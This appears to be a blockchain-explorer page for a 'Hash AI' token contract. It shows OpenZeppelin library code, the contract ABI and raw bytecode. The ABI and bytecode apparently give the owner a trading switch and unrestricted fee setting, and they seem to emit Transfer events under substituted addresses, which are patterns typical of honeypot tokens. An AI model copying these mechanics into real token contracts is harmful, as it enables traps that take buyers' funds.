 * @dev Provides a function to batch together multiple calls in a single external call.
 */
abstract contract Multicall {
    /**
     * @dev Receives and executes a batch of function calls on this contract.
     * @custom:oz-upgrades-unsafe-allow-reachable delegatecall
     */
    function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
        results = new bytes[](data.length);
        for (uint256 i = 0; i < data.length; i++) {
            results[i] = Address.functionDelegateCall(address(this), data[i]);
        }
        return results;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;

import {Context} from "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SignedMath.sol)

pragma solidity ^0.8.20;

/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"removeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600781526020017f48617368204149000000000000000000000000000000000000000000000000008152505f908161004791906108bb565b506040518060400160405280600681526020017f48415348414900000000000000000000000000000000000000000000000000008152506001908161008c91906108bb565b507399e425af426e2ca4a2bda7d44e2a16a6be98c2e960085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600a60146101000a81548160ff021916908360ff1602179055505f600a60156101000a81548160ff021916908360ff160217905550348015610122575f80fd5b5060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff168152602001600a60149054906101000a900460ff1660ff168152602001600a60159054906101000a900460ff1660ff1681525060025f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151815f0160146101000a81548160ff021916908360ff1602179055506040820151815f0160156101000a81548160ff021916908360ff1602179055509050507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503360075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061030233336105fd60201b60201c565b606460466012600a6103149190610af2565b6305f5e1006103239190610b3c565b61032d9190610b3c565b6103379190610baa565b60035f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516104759190610be9565b60405180910390a36064601e6012600a61048f9190610af2565b6305f5e10061049e9190610b3c565b6104a89190610b3c565b6104b29190610baa565b60035f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516105f09190610be9565b60405180910390a3610c02565b8160095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806106fc57607f821691505b60208210810361070f5761070e6106b8565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026107717fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610736565b61077b8683610736565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6107bf6107ba6107b584610793565b61079c565b610793565b9050919050565b5f819050919050565b6107d8836107a5565b6107ec6107e4826107c6565b848454610742565b825550505050565b5f90565b6108006107f4565b61080b8184846107cf565b505050565b5b8181101561082e576108235f826107f8565b600181019050610811565b5050565b601f8211156108735761084481610715565b61084d84610727565b8101602085101561085c578190505b61087061086885610727565b830182610810565b50505b505050565b5f82821c905092915050565b5f6108935f1984600802610878565b1980831691505092915050565b5f6108ab8383610884565b9150826002028217905092915050565b6108c482610681565b67ffffffffffffffff8111156108dd576108dc61068b565b5b6108e782546106e5565b6108f2828285610832565b5f60209050601f831160018114610923575f8415610911578287015190505b61091b85826108a0565b865550610982565b601f19841661093186610715565b5f5b8281101561095857848901518255600182019150602085019450602081019050610933565b868310156109755784890151610971601f891682610884565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610a0c578086048111156109e8576109e761098a565b5b60018516156109f75780820291505b8081029050610a05856109b7565b94506109cc565b94509492505050565b5f82610a245760019050610adf565b81610a31575f9050610adf565b8160018114610a475760028114610a5157610a80565b6001915050610adf565b60ff841115610a6357610a6261098a565b5b8360020a915084821115610a7a57610a7961098a565b5b50610adf565b5060208310610133831016604e8410600b8410161715610ab55782820a905083811115610ab057610aaf61098a565b5b610adf565b610ac284848460016109c3565b92509050818404811115610ad957610ad861098a565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610afc82610793565b9150610b0783610ae6565b9250610b347fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610a15565b905092915050565b5f610b4682610793565b9150610b5183610793565b9250828202610b5f81610793565b91508282048414831517610b7657610b7561098a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610bb482610793565b9150610bbf83610793565b925082610bcf57610bce610b7d565b5b828204905092915050565b610be381610793565b82525050565b5f602082019050610bfc5f830184610bda565b92915050565b611c2780610c0f5f395ff3fe6080604052600436106100e0575f3560e01c806395d89b411161007e578063c6ba48be11610058578063c6ba48be146102d9578063c9567bf914610301578063d28d885214610317578063dd62ed3e14610341576100e7565b806395d89b4114610249578063a9059cbb14610273578063b09f1266146102af576100e7565b806323b872dd116100ba57806323b872dd1461017b578063313ce567146101b75780634abe3052146101e157806370a082311461020d576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151576100e7565b366100e757005b5f80fd5b3480156100f6575f80fd5b506100ff61037d565b60405161010c91906113f6565b60405180910390f35b348015610120575f80fd5b5061013b600480360381019061013691906114a7565b61040c565b60405161014891906114ff565b60405180910390f35b34801561015c575f80fd5b506101656104f9565b6040516101729190611527565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c9190611540565b610519565b6040516101ae91906114ff565b60405180910390f35b3480156101c2575f80fd5b506101cb6105bc565b6040516101d891906115ab565b60405180910390f35b3480156101ec575f80fd5b506101f56105c1565b604051610204939291906115d3565b60405180910390f35b348015610218575f80fd5b50610233600480360381019061022e9190611608565b61060f565b6040516102409190611527565b60405180910390f35b348015610254575f80fd5b5061025d610624565b60405161026a91906113f6565b60405180910390f35b34801561027e575f80fd5b50610299600480360381019061029491906114a7565b6106b4565b6040516102a691906114ff565b60405180910390f35b3480156102ba575f80fd5b506102c36106c8565b6040516102d091906113f6565b60405180910390f35b3480156102e4575f80fd5b506102ff60048036038101906102fa919061165d565b610754565b005b34801561030c575f80fd5b506103156107ce565b005b348015610322575f80fd5b5061032b610a0a565b60405161033891906113f6565b60405180910390f35b34801561034c575f80fd5b506103676004803603810190610362919061169b565b610a95565b6040516103749190611527565b60405180910390f35b60605f805461038b90611706565b80601f01602080910402602001604051908101604052809291908181526020018280546103b790611706565b80156104025780601f106103d957610100808354040283529160200191610402565b820191905f5260205f20905b8154815290600101906020018083116103e557829003601f168201915b5050505050905090565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104e79190611527565b60405180910390a36001905092915050565b6012600a6105079190611892565b6305f5e10061051691906118dc565b81565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105a1919061191d565b925050819055506105b3848484610ab5565b90509392505050565b601281565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690805f0160149054906101000a900460ff1690805f0160159054906101000a900460ff16905083565b6003602052805f5260405f205f915090505481565b60606001805461063390611706565b80601f016020809104026020016040519081016040528092919081815260200182805461065f90611706565b80156106aa5780601f10610681576101008083540402835291602001916106aa565b820191905f5260205f20905b81548152906001019060200180831161068d57829003601f168201915b5050505050905090565b5f6106c0338484610ab5565b905092915050565b600180546106d590611706565b80601f016020809104026020016040519081016040528092919081815260200182805461070190611706565b801561074c5780601f106107235761010080835404028352916020019161074c565b820191905f5260205f20905b81548152906001019060200180831161072f57829003601f168201915b505050505081565b61075c61131e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107c0576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6107ca8282611348565b5050565b6107d661131e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461080c575f80fd5b600860159054906101000a900460ff1615610825575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610883573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a79190611964565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610907573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092b9190611964565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b815260040161096992919061198f565b602060405180830381865afa158015610984573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a89190611964565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860156101000a81548160ff021916908315150217905550505050565b5f8054610a1690611706565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4290611706565b8015610a8d5780601f10610a6457610100808354040283529160200191610a8d565b820191905f5260205f20905b815481529060010190602001808311610a7057829003601f168201915b505050505081565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f80610abf61131e565b9050600860159054906101000a900460ff1680610b0757508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610b3d57508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610b45575f80fd5b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610b91919061191d565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610c015750600860149054906101000a900460ff16155b8015610c72575060646012600a610c189190611892565b6305f5e100610c2791906118dc565b610c3191906119e3565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610caa57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610f3e576001600860146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610ce657610ce5611a13565b5b604051908082528060200260200182016040528015610d145781602001602082028036833780820191505090505b50905030815f81518110610d2b57610d2a611a40565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610de69190611964565b81600181518110610dfa57610df9611a40565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610e749190611892565b6305f5e100610e8391906118dc565b610e8d91906119e3565b5f8430426040518663ffffffff1660e01b8152600401610eb1959493929190611b66565b5f604051808303815f87803b158015610ec8575f80fd5b505af1158015610eda573d5f803e3d5ffd5b505050508173ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610f21573d5f803e3d5ffd5b505f600860146101000a81548160ff021916908315150217905550505b5f8060025f0160149054906101000a900460ff1660025f0160159054906101000a900460ff16915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015610fb7575060011515600860159054906101000a900460ff161515145b15611098575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614611019578361101b565b825b60ff168761102991906118dc565b61103391906119e3565b90508086611041919061191d565b95508060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461108f9190611bbe565b92505081905550505b8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110e49190611bbe565b92505081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036111ca578573ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516111bd9190611527565b60405180910390a3611310565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036112a95760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161129c9190611527565b60405180910390a361130f565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516113069190611527565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8160025f0160146101000a81548160ff021916908360ff1602179055508060025f0160156101000a81548160ff021916908360ff1602179055505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113c882611386565b6113d28185611390565b93506113e28185602086016113a0565b6113eb816113ae565b840191505092915050565b5f6020820190508181035f83015261140e81846113be565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114438261141a565b9050919050565b61145381611439565b811461145d575f80fd5b50565b5f8135905061146e8161144a565b92915050565b5f819050919050565b61148681611474565b8114611490575f80fd5b50565b5f813590506114a18161147d565b92915050565b5f80604083850312156114bd576114bc611416565b5b5f6114ca85828601611460565b92505060206114db85828601611493565b9150509250929050565b5f8115159050919050565b6114f9816114e5565b82525050565b5f6020820190506115125f8301846114f0565b92915050565b61152181611474565b82525050565b5f60208201905061153a5f830184611518565b92915050565b5f805f6060848603121561155757611556611416565b5b5f61156486828701611460565b935050602061157586828701611460565b925050604061158686828701611493565b9150509250925092565b5f60ff82169050919050565b6115a581611590565b82525050565b5f6020820190506115be5f83018461159c565b92915050565b6115cd81611439565b82525050565b5f6060820190506115e65f8301866115c4565b6115f3602083018561159c565b611600604083018461159c565b949350505050565b5f6020828403121561161d5761161c611416565b5b5f61162a84828501611460565b91505092915050565b61163c81611590565b8114611646575f80fd5b50565b5f8135905061165781611633565b92915050565b5f806040838503121561167357611672611416565b5b5f61168085828601611649565b925050602061169185828601611649565b9150509250929050565b5f80604083850312156116b1576116b0611416565b5b5f6116be85828601611460565b92505060206116cf85828601611460565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061171d57607f821691505b6020821081036117305761172f6116d9565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156117b85780860481111561179457611793611736565b5b60018516156117a35780820291505b80810290506117b185611763565b9450611778565b94509492505050565b5f826117d0576001905061188b565b816117dd575f905061188b565b81600181146117f357600281146117fd5761182c565b600191505061188b565b60ff84111561180f5761180e611736565b5b8360020a91508482111561182657611825611736565b5b5061188b565b5060208310610133831016604e8410600b84101617156118615782820a90508381111561185c5761185b611736565b5b61188b565b61186e848484600161176f565b9250905081840481111561188557611884611736565b5b81810290505b9392505050565b5f61189c82611474565b91506118a783611590565b92506118d47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117c1565b905092915050565b5f6118e682611474565b91506118f183611474565b92508282026118ff81611474565b9150828204841483151761191657611915611736565b5b5092915050565b5f61192782611474565b915061193283611474565b925082820390508181111561194a57611949611736565b5b92915050565b5f8151905061195e8161144a565b92915050565b5f6020828403121561197957611978611416565b5b5f61198684828501611950565b91505092915050565b5f6040820190506119a25f8301856115c4565b6119af60208301846115c4565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119ed82611474565b91506119f883611474565b925082611a0857611a076119b6565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611a99611a94611a8f84611a6d565b611a76565b611474565b9050919050565b611aa981611a7f565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611ae181611439565b82525050565b5f611af28383611ad8565b60208301905092915050565b5f602082019050919050565b5f611b1482611aaf565b611b1e8185611ab9565b9350611b2983611ac9565b805f5b83811015611b59578151611b408882611ae7565b9750611b4b83611afe565b925050600181019050611b2c565b5085935050505092915050565b5f60a082019050611b795f830188611518565b611b866020830187611aa0565b8181036040830152611b988186611b0a565b9050611ba760608301856115c4565b611bb46080830184611518565b9695505050505050565b5f611bc882611474565b9150611bd383611474565b9250828201905080821115611beb57611bea611736565b5b9291505056fea26469706673582212201496da06c418e7db79a2219018c83bbaa670de5b3141ea20f7c56d7b389dc47064736f6c63430008190033

0x6080604052600436106100e0575f3560e01c806395d89b411161007e578063c6ba48be11610058578063c6ba48be146102d9578063c9567bf914610301578063d28d885214610317578063dd62ed3e14610341576100e7565b806395d89b4114610249578063a9059cbb14610273578063b09f1266146102af576100e7565b806323b872dd116100ba57806323b872dd1461017b578063313ce567146101b75780634abe3052146101e157806370a082311461020d576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151576100e7565b366100e757005b5f80fd5b3480156100f6575f80fd5b506100ff61037d565b60405161010c91906113f6565b60405180910390f35b348015610120575f80fd5b5061013b600480360381019061013691906114a7565b61040c565b60405161014891906114ff565b60405180910390f35b34801561015c575f80fd5b506101656104f9565b6040516101729190611527565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c9190611540565b610519565b6040516101ae91906114ff565b60405180910390f35b3480156101c2575f80fd5b506101cb6105bc565b6040516101d891906115ab565b60405180910390f35b3480156101ec575f80fd5b506101f56105c1565b604051610204939291906115d3565b60405180910390f35b348015610218575f80fd5b50610233600480360381019061022e9190611608565b61060f565b6040516102409190611527565b60405180910390f35b348015610254575f80fd5b5061025d610624565b60405161026a91906113f6565b60405180910390f35b34801561027e575f80fd5b50610299600480360381019061029491906114a7565b6106b4565b6040516102a691906114ff565b60405180910390f35b3480156102ba575f80fd5b506102c36106c8565b6040516102d091906113f6565b60405180910390f35b3480156102e4575f80fd5b506102ff60048036038101906102fa919061165d565b610754565b005b34801561030c575f80fd5b506103156107ce565b005b348015610322575f80fd5b5061032b610a0a565b60405161033891906113f6565b60405180910390f35b34801561034c575f80fd5b506103676004803603810190610362919061169b565b610a95565b6040516103749190611527565b60405180910390f35b60605f805461038b90611706565b80601f01602080910402602001604051908101604052809291908181526020018280546103b790611706565b80156104025780601f106103d957610100808354040283529160200191610402565b820191905f5260205f20905b8154815290600101906020018083116103e557829003601f168201915b5050505050905090565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104e79190611527565b60405180910390a36001905092915050565b6012600a6105079190611892565b6305f5e10061051691906118dc565b81565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105a1919061191d565b925050819055506105b3848484610ab5565b90509392505050565b601281565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690805f0160149054906101000a900460ff1690805f0160159054906101000a900460ff16905083565b6003602052805f5260405f205f915090505481565b60606001805461063390611706565b80601f016020809104026020016040519081016040528092919081815260200182805461065f90611706565b80156106aa5780601f10610681576101008083540402835291602001916106aa565b820191905f5260205f20905b81548152906001019060200180831161068d57829003601f168201915b5050505050905090565b5f6106c0338484610ab5565b905092915050565b600180546106d590611706565b80601f016020809104026020016040519081016040528092919081815260200182805461070190611706565b801561074c5780601f106107235761010080835404028352916020019161074c565b820191905f5260205f20905b81548152906001019060200180831161072f57829003601f168201915b505050505081565b61075c61131e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107c0576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6107ca8282611348565b5050565b6107d661131e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461080c575f80fd5b600860159054906101000a900460ff1615610825575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610883573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a79190611964565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610907573